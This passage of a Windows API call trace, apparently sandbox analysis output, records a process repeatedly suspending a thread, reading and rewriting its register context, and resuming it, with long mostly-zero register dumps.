[128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.725] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147410, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.725] ResumeThread (hThread=0x130) returned 0x1
[0128.725] CloseHandle (hObject=0x130) returned 1
[0128.725] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.766] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.808] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0128.808] SuspendThread (hThread=0x130) returned 0x0
[0128.808] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147690, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15c2da0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.824] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147688, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.824] ResumeThread (hThread=0x130) returned 0x1
[0128.824] CloseHandle (hObject=0x130) returned 1
[0128.824] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.867] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0128.907] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0128.907] SuspendThread (hThread=0x130) returned 0x0
[0128.908] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x16553a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0128.908] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, 